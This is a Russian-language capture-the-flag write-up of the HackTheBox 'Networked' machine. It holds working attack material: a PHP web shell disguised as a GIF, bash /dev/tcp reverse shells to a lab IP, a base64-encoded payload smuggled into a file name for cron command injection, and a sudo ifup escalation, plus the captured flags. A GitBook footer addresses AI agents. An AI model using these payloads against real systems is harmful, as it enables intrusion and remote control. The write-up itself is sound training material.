> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/networked-hackthebox-writeup.md). # Разбор Networked HackTheBox Разбор Networked HackTheBox для Linux, охватывающий веб-энумерацию, обход загрузки, внедрение команд и повышение привилегий через sudo. {% embed url="" %} {% hint style="warning" %} **Навыки:** * Перечисление веб-ресурсов и анализ исходного кода * Обход проверки загрузки файлов * Инъекция команды в cron-задачу * Злоупотребление неверной конфигурацией sudo {% endhint %} ## Разведка ### Настройка рабочей среды Создайте рабочее пространство, затем проверьте соединение с целевым узлом. ```bash mkt ping -c 1 10.129.5.171 ``` Ответ подтверждает, что целевой узел — хост Linux.

### TCP-сканирование Определите доступные TCP-сервисы с помощью полного сканирования портов. ```bash sudo nmap --open -p- -sS --min-rate 5000 -vvv -n -Pn 10.129.5.171 -oG allPorts ``` Сканирование выявляет порты `22` и `80`.

### Сканирование сервисов и версий Определите сервисы и версии, работающие на открытых портах. ```bash nmap -sCV -p22,80 10.129.5.171 -oN targeted ``` На хосте работает Apache `2.4.6` на CentOS с PHP `5.4.16`.

### Порт 80 На сайте отображается следующее сообщение: > Привет, приятель, мы строим новый FaceMash!\ > Помоги, профинансировав нас, и стань новым Тайлером и Кэмероном!\ > Присоединяйся к нам на вечеринке у бассейна в эту субботу, чтобы получить представление

Перечислите каталоги с помощью Gobuster. ```bash gobuster dir -u http://10.129.5.171 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -t 100 ``` Сканирование показывает `/backup` и `/uploads`.

Эта `/backup` каталог содержит TAR-архив.

Извлеките архив локально. ```bash tar xopf foo.tar ``` Архив содержит четыре PHP-файла: * `index.php` * lib.php * photos.php * upload.php Эта `upload.php` страница предоставляет форму загрузки.

Прямая загрузка PHP не удаётся, потому что приложение проверяет формат изображения. ```bash " . shell_exec($_GET['cmd']) . ""; ?> ``` Приложение отклоняет файл как недопустимое изображение.

Загрузите файл с GIF-заголовком и `.php.gif` расширением. ```bash Content-Disposition: form-data; name="myFile"; filename="cmd.php.gif" Content-Type: application/x-php GIF89a " . shell_exec($_GET['cmd']) . ""; ?> ``` Приложение принимает загрузку.

Загруженный файл выполняет PHP-код, несмотря на расширение GIF. ```bash http://10.129.5.171/uploads/10_10_15_2.php.gif?cmd=id ```

Запустите слушатель на порту `443`. ```bash sudo nc -nvlp 443 ``` Используйте выполнение команды, чтобы получить обратную оболочку. ```bash bash -c "bash -i >%26 /dev/tcp/10.10.15.2/443 0>%261" ```

### Перейдите к `guly` Плановая задача запускает `/home/guly/check_attack.php` каждые три минуты. ```bash */3 * * * * php /home/guly/check_attack.php ``` Скрипт проверяет файлы в `/var/www/html/uploads/`. ```php $value) { $msg=''; if ($value == 'index.html') { continue; } #echo "-------------\n"; #print "check: $value\n"; list ($name,$ext) = getnameCheck($value); $check = check_ip($name,$value); if (!($check[0])) { echo "attack!\n"; # todo: attach file file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX); exec("rm -f $logpath"); exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &"); echo "rm -f $path$value\n"; mail($to, $msg, $msg, $headers, "-F$value"); } } ?> ``` Скрипт передаёт каждое имя файла в команду оболочки, не обрабатывая его безопасно. Внедрите команду через специально созданное имя файла. Закодируйте payload обратной оболочки. ```bash echo "bash -i >& /dev/tcp/10.10.15.2/4444 0>&1" | base64 ``` Закодированный payload: ``` YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yLzQ0NDQgMD4mMQo= ``` Создайте вредоносное имя файла. ```bash touch ";echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yLzQ0NDQgMD4mMQo=' | base64 -d | bash;" ``` Запустите слушатель на порту `4444`, затем дождитесь запуска плановой задачи. ```bash nc -nvlp 4444 ```

Плановая задача возвращает оболочку от имени `guly`.

### Флаг user.txt ``` fbeee367bab941cefca951caef664f27 ```

### Повышение привилегий Проверьте команды, которые `guly` можно запускать с `sudo`. ```bash sudo -l ``` Пользователь может запускать `/usr/local/sbin/changename.sh` как `root`.

Скрипт записывает значения, контролируемые пользователем, в файл сетевой конфигурации. ```bash #!/bin/bash -p cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF DEVICE=guly0 ONBOOT=no NM_CONTROLLED=no EoF regexp="^[a-zA-Z0-9_\ /-]+$" for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do echo "interface $var:" read x while [[ ! $x =~ $regexp ]]; do echo "wrong input, try again" echo "interface $var:" read x done echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly done /sbin/ifup guly0 ``` Фильтр ввода допускает пробелы и слэши. Когда `ifup` обрабатывает сгенерированную конфигурацию, `test /bin/sh` запускает оболочку. Запустите скрипт. ```bash sudo /usr/local/sbin/changename.sh ``` На любом запросе введите: ``` test /bin/sh ``` Это открывает оболочку от имени `root`.

### Флаг root.txt

``` 6fa61de6fa918d2db507070fec1364e8 ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/networked-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.